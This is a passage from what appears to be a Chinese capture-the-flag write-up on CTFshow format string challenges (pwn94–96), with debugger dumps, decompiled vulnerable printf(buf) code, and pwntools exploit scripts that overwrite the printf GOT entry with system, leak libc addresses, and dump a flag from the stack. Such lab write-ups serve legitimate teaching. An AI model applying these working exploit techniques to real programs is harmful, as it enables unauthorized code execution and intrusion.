pwn</code>进入调试,<code>b func2</code>打断点,<code>r</code>运行,输入 <code>2</code>,<code>n</code>步进至 printf 函数处</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> RAX  0</span><br><span class="line"> RBX  0x7ffc48c971f8 —▸ 0x7ffc48c986f6 ◂— &#x27;/CTFshow_pwn/pwn&#x27;</span><br><span class="line"> RCX  0</span><br><span class="line"> RDX  0xfffffffffffff7f2</span><br><span class="line"> RDI  0x6525b9c01381 ◂— and eax, 0x2d783830 /* &#x27;%08x-%07x-%p-%p-%p&#x27; */</span><br><span class="line"> RSI  2</span><br><span class="line"> R8   0xa</span><br><span class="line"> R9   0</span><br><span class="line"> R10  0x7439560a0fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000</span><br><span class="line"> R11  0x7439560f28e0 (_IO_2_1_stdin_) ◂— 0xfbad208b</span><br><span class="line"> R12  1</span><br><span class="line"> R13  0</span><br><span class="line"> R14  0</span><br><span class="line"> R15  0x74395614c000 (_rtld_global) —▸ 0x74395614d2e0 —▸ 0x6525b9c00000 ◂— jg 0x6525b9c00047</span><br><span class="line"> RBP  0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0</span><br><span class="line"> RSP  0x7ffc48c970b0 —▸ 0x7ffc48c970d0 —▸ 0x7ffc48c97170 —▸ 0x7ffc48c971d0 ◂— 0</span><br><span class="line">*RIP  0x6525b9c00aaf (func2+16) ◂— call printf@plt</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">RDI  0x6525b9c01381 ◂— &#x27;%08x-%07x-%p-%p-%p&#x27;  ; printf的第1个参数：格式字符串</span><br><span class="line">RSI  2                                       ; printf的第2个参数：对应%08x（即a2）</span><br><span class="line">RDX  0xfffffffffffff7f2                      ; printf的第3个参数：对应%07x（即a3）</span><br><span class="line">RCX  0                                       ; printf的第4个参数：对应第一个%p（即a4）</span><br><span class="line">R8   0xa                                     ; printf的第5个参数：对应第二个%p（即a5）</span><br><span class="line">R9   0                                       ; printf的第6个参数：对应第三个%p（即a6）</span><br></pre></td></tr></table></figure><p>程序实际输出与调试对应验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">Enter your choice:</span><br><span class="line">2</span><br><span class="line">00000002-fffff7f2-(nil)-0xa-(nil)(pip_venv)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; Attributes: bp-based frame</span><br><span class="line"></span><br><span class="line">; __int64 func3(void)</span><br><span class="line">public func3</span><br><span class="line">func3 proc near</span><br><span class="line">; __unwind &#123;</span><br><span class="line">push    rbp</span><br><span class="line">mov     rbp, rsp</span><br><span class="line">lea     rdi, aAaaaPPPPPPPPPP ; &quot;AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%&quot;...</span><br><span class="line">mov     eax, 0</span><br><span class="line">call    _printf</span><br><span class="line">/*lea rdi, aAaaaPPPPPPPPPP：lea 指令将格式字符串的内存地址加载到 rdi 寄存器。根据注释，该字符串是 &quot;AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%&quot;...，包含固定前缀 &quot;AAAA.&quot; 和大量 %p 格式符（用于输出指针地址）。</span><br><span class="line">mov eax, 0：在 x86-64 调用约定中，eax 寄存器用于告知被调用函数（这里是 printf）传递了多少个浮点参数。此处为 0，表示没有浮点参数。</span><br><span class="line">call _printf：调用 C 标准库的 printf 函数，输出上述格式字符串。*/</span><br><span class="line">nop</span><br><span class="line">pop     rbp</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at AB7</span><br><span class="line">func3 endp</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">Enter your choice:</span><br><span class="line">3</span><br><span class="line">AAAA.0x3.0xfffffffffffff7fe.(nil).0xa.(nil).0x7fffa2218160.0x616f63000cf0.0x3a2218240.0xd8f9c09f22b8af00.0x7fffa2218200.0x707d328b51ca.0x7fffa22181b0</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> RAX  0</span><br><span class="line"> RBX  0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— &#x27;/CTFshow_pwn/pwn&#x27;</span><br><span class="line"> RCX  0</span><br><span class="line"> RDX  0xfffffffffffff7fe</span><br><span class="line"> RDI  0x55c5c9801398 ◂— and eax, 0x70252e70 /* &#x27;AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p&#x27; */</span><br><span class="line"> RSI  3</span><br><span class="line"> R8   0xa</span><br><span class="line"> R9   0</span><br><span class="line"> R10  0x76c4f7472fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000</span><br><span class="line"> R11  0x76c4f74c48e0 (_IO_2_1_stdin_) ◂— 0xfbad208b</span><br><span class="line"> R12  1</span><br><span class="line"> R13  0</span><br><span class="line"> R14  0</span><br><span class="line"> R15  0x76c4f751e000 (_rtld_global) —▸ 0x76c4f751f2e0 —▸ 0x55c5c9800000 ◂— jg 0x55c5c9800047</span><br><span class="line"> RBP  0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0</span><br><span class="line"> RSP  0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0</span><br><span class="line">*RIP  0x55c5c9800ac7 (func3+16) ◂— call printf@plt</span><br></pre></td></tr></table></figure><p>输出完寄存器上的</p><ul><li><code>RSI = 3</code> → 第一个 <code>%p</code> 输出 <code>0x3</code></li><li><code>RDX = 0xfffffffffffff7fe</code> → 第二个 <code>%p</code> 输出 <code>0xfffffffffffff7fe</code></li><li><code>RCX = 0</code> → 第三个 <code>%p</code> 输出 <code>(nil)</code>（空指针）</li><li><code>R8 = 0xa</code> → 第四个 <code>%p</code> 输出 <code>0xa</code></li><li><code>R9 = 0</code> → 第五个 <code>%p</code> 输出 <code>(nil)</code></li></ul><p>还有栈上的</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">00:0000│ rbp rsp 0x7ffe0cc74df0 —▸ 0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0</span><br><span class="line">01:0008│+008     0x7ffe0cc74df8 —▸ 0x55c5c9800cf0 (main+166) ◂— jmp main+229</span><br><span class="line">02:0010│+010     0x7ffe0cc74e00 ◂— 0x30cc74ef0</span><br><span class="line">03:0018│+018     0x7ffe0cc74e08 ◂— 0x6ad20f725ab27500</span><br><span class="line">04:0020│+020     0x7ffe0cc74e10 —▸ 0x7ffe0cc74eb0 —▸ 0x7ffe0cc74f10 ◂— 0</span><br><span class="line">05:0028│+028     0x7ffe0cc74e18 —▸ 0x76c4f72eb1ca (__libc_start_call_main+122) ◂— mov edi, eax</span><br><span class="line">06:0030│+030     0x7ffe0cc74e20 —▸ 0x7ffe0cc74e60 ◂— 0</span><br><span class="line">07:0038│+038     0x7ffe0cc74e28 —▸ 0x7ffe0cc74f38 —▸ 0x7ffe0cc766f6 ◂— &#x27;/CTFshow_pwn/pwn&#x27;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">func4</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%0134512640d%n\n&quot;</span>, <span class="number">1</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><code>%0134512640d</code>：<ul><li><code>%d</code> 表示输出整数。</li><li><code>134512640</code> 是<strong>最小字段宽度</strong>，表示输出的整数至少要占 134512640 个字符位置。</li><li><code>0</code> 表示不足时用 <code>0</code> 填充（而非默认的空格）。</li><li>实际输出：将参数 <code>1</code> 格式化为一个前面补了 <code>134512639</code> 个 <code>0</code> 的字符串（总长度 134512640）。</li></ul></li><li><code>%n</code>：<ul><li>这是一个特殊格式符，它不输出内容，而是将<strong>当前已输出的字符数</strong>写入后面的指针参数（这里是 <code>&amp;v1</code>）。</li><li>因此，<code>v1</code> 最终会被赋值为 <code>134512640</code>（因为 <code>%0134512640d</code> 刚好输出了这么多字符），再加上 <code>\n</code> 是第 134512641 个字符？注意：<code>%n</code> 统计的是它之前的输出长度，<code>\n</code> 在 <code>%n</code> 之后，因此 <code>v1</code> 的值是 <code>134512640</code>。</li></ul></li></ul><p>v1<code>在</code>rbp-0xc</p><p>进 gdb 调试，单步执行到lea，用<code>x/bx $rbp-0xc</code>看初始值</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> ► 0x5b856ce00ae6 &lt;func4+23&gt;    lea    rax, [rbp - 0xc]             RAX =&gt; 0x7ffe77e51dd4 ◂— 0xfd95d60000000000</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/bx $rbp-0xc</span><br><span class="line">0x7ffe77e51dd4:0x00</span><br></pre></td></tr></table></figure><p>运行到 <code>printf</code> 再看 <code>v1</code> 的值</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; x/bx $rbp-0xc</span><br><span class="line">0x7ffe77e51dd4: 0x00</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">func5</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+1h] [rbp-2Fh] BYREF</span></span><br><span class="line">  __int64 v2; <span class="comment">// [rsp+8h] [rbp-28h] BYREF</span></span><br><span class="line">  __int64 v3; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">char</span> Hello_CTFshow_[<span class="number">14</span>]; <span class="comment">// [rsp+1Ah] [rbp-16h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">strcpy</span>(Hello_CTFshow_, <span class="string">&quot;Hello CTFshow&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %hhn\n&quot;</span>, Hello_CTFshow_, &amp;v1);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %hn\n&quot;</span>, Hello_CTFshow_, (<span class="type">int</span> *)((<span class="type">char</span> *)&amp;v1 + <span class="number">1</span>));</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %n\n&quot;</span>, Hello_CTFshow_, (<span class="type">int</span> *)((<span class="type">char</span> *)&amp;v1 + <span class="number">3</span>));</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %ln\n&quot;</span>, Hello_CTFshow_, &amp;v2);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %lln\n&quot;</span>, Hello_CTFshow_, &amp;v3);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><table><thead><tr><th>格式符</th><th>含义</th><th>写入字节数</th><th>对应变量类型</th></tr></thead><tbody><tr><td><code>%hhn</code></td><td>输出计数写入 1 字节内存</td><td>1 字节</td><td><code>char*</code>（或 <code>int*</code> 强制转换）</td></tr><tr><td><code>%hn</code></td><td>输出计数写入 2 字节内存</td><td>2 字节</td><td><code>short*</code>（或 <code>int*</code> 强制转换）</td></tr><tr><td><code>%n</code></td><td>输出计数写入 4 字节内存</td><td>4 字节</td><td><code>int*</code></td></tr><tr><td><code>%ln</code></td><td>输出计数写入 4&#x2F;8 字节内存（取决于编译器）</td><td>通常 8 字节</td><td><code>long*</code></td></tr><tr><td><code>%lln</code></td><td>输出计数写入 8 字节内存</td><td>8 字节</td><td><code>long long*</code> 或 <code>__int64*</code></td></tr></tbody></table><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">Enter your choice:</span><br><span class="line">5</span><br><span class="line">Hello CTFshow</span><br><span class="line">Hello CTFshow</span><br><span class="line">Hello CTFshow</span><br><span class="line">Hello CTFshow</span><br><span class="line">Hello CTFshow</span><br></pre></td></tr></table></figure><h2 id="pwn94"><a href="#pwn94" class="headerlink" title="pwn94"></a>pwn94</h2><h6 id="Hint：好了，你已经学会1-1-2了，接下来继续加油吧"><a href="#Hint：好了，你已经学会1-1-2了，接下来继续加油吧" class="headerlink" title="Hint：好了，你已经学会1+1&#x3D;2了，接下来继续加油吧"></a>Hint：好了，你已经学会1+1&#x3D;2了，接下来继续加油吧</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭PIE，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">100</span>]; <span class="comment">// [esp+8h] [ebp-70h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v1 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x64u</span>);</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>进入一个循环，然后其中有明显的格式化字符串漏洞[使用<code>printf(buf)</code>而不是安全的<code>printf(&quot;%s&quot;, buf)</code>]</p><p>看到程序中有system函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">sys</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  system(<span class="string">&quot;echo Write here!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是可以用格式化字符串漏洞任意写的，将printf_got 指针指向的地址改为 system_plt</p><p>在printf(),就相当于 system()了，如果我们再发送 “&#x2F;bin&#x2F;sh\x00”,作为其参数,就能getshell了。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Write any address !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%p-%p-%p-%p-%p-%p-%p-%p</span><br><span class="line">aaaa0xffce65b8-0x64-0x80486e5-0x10-0xeb28dfe8-0x61616161-0x252d7025-0x70252d70</span><br></pre></td></tr></table></figure><p>偏移量为6</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">offset = <span class="number">6</span></span><br><span class="line">printf_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">system_plt = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">payload = fmtstr_payload(offset,&#123;printf_got:system_plt&#125;)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp1.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 156</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn95-ubutu18"><a href="#pwn95-ubutu18" class="headerlink" title="pwn95(ubutu18)"></a>pwn95(ubutu18)</h2><h6 id="Hint：加大了一点点难度，不过对你来说还是so-easy-吧"><a href="#Hint：加大了一点点难度，不过对你来说还是so-easy-吧" class="headerlink" title="Hint：加大了一点点难度，不过对你来说还是so easy 吧"></a>Hint：加大了一点点难度，不过对你来说还是so easy 吧</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>32位关闭PIE，部分开启RELRO</p><p>IDA查看main函数，跟进ctfshow：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">100</span>]; <span class="comment">// [esp+8h] [ebp-70h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v1; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v1 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x64u</span>);</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>基本漏洞跟上一题一样，不同的是没有了system函数</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : This <span class="keyword">time</span> program no system !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%p-%p-%p-%p-%p-%p-%p-%p</span><br><span class="line">aaaa0xfff1d608-0x64-0x80486ba-0x18-0xf3128fe8-0x61616161-0x252d7025-0x70252d70</span><br></pre></td></tr></table></figure><p>偏移量6</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">offset = <span class="number">6</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露 printf 的实际地址</span></span><br><span class="line">printf_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">payload = p32(printf_got) + <span class="string">b&#x27;%6$s&#x27;</span></span><br><span class="line">io.send(payload)</span><br><span class="line">printf_addr= u32(io.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:]) <span class="comment"># 接收并解析printf的实际地址</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(printf_addr))</span><br><span class="line"></span><br><span class="line">libc_base = printf_addr - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">payload = fmtstr_payload(offset,&#123;printf_got:system_addr&#125;)</span><br><span class="line"></span><br><span class="line">io.send(payload)</span><br><span class="line">io.send(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">io.interactive() </span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 62</span><br><span class="line">[*] <span class="string">&#x27;/PWN/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0xf7ddb520</span><br><span class="line">0xf7d8a000</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">\xf6\x83\x04\x08\x90\x1d\xdf\xf7\xb0.\xda\xf7                                                       \xf8                                               d           \xba                          \x01aaa\x11\xa0\x04\x08\x10\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08<span class="variable">$ls</span></span><br></pre></td></tr></table></figure><h2 id="pwn96"><a href="#pwn96" class="headerlink" title="pwn96"></a>pwn96</h2><h6 id="Hint：先找一下偏移"><a href="#Hint：先找一下偏移" class="headerlink" title="Hint：先找一下偏移"></a>Hint：先找一下偏移</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序，关闭Canary与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s_[<span class="number">64</span>]; <span class="comment">// [esp+0h] [ebp-90h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+40h] [ebp-50h] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+80h] [ebp-10h]</span></span><br><span class="line">  <span class="type">char</span> *s_1; <span class="comment">// [esp+84h] [ebp-Ch]</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+88h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  s_1 = s_;</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048830);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80488A4);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048920);</span><br><span class="line">  <span class="built_in">puts</span>(asc_80489AC);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A3C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048AC0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B54);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Format_String                                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : Flag on the stack!                                      &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;It&#x27;s time to learn about format strings!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Where is the flag?&quot;</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s_, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;$ &quot;</span>);</span><br><span class="line">    fgets(s, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">    <span class="built_in">printf</span>(s);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是明显的格式化字符串漏洞，这里告诉我们flag在栈上，然后通过下面printf去显示flag，那么我们直接泄漏就行了，由于内存是小端存储的，所以我们需要倒序输出。</p><p>其实手动尝试一下一下就能出来，简单测试一下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">It<span class="string">&#x27;s time to learn about format strings!</span></span><br><span class="line"><span class="string">Where is the flag?</span></span><br><span class="line"><span class="string">$ %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p</span></span><br><span class="line"><span class="string">0x40-0xeac9b5c0-(nil)-(nil)-0xf63d4e2e-0x67616c66-0x73756a7b-0x65745f74-0x6d5f7473-0x72705f79-0x7365636f-0xa7d73-0x1-0xeacb1720-0x1-(nil)</span></span><br></pre></td></tr></table></figure><p>本地flag格式为 “flag{“ 开头,转换为16进制就是 66 6C 61 67 7B</p><p>然后倒序就是 0x67616c66 0x73756a7b,很明显，一眼就看出在哪了，不嫌麻烦的话，手动一个一个去转换也能很快拿到flag，嫌麻烦的话就写个脚本。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%7<span class="variable">$p</span></span><br><span class="line">aaaa0x61616161</span><br><span class="line">daniu now is :0!</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span 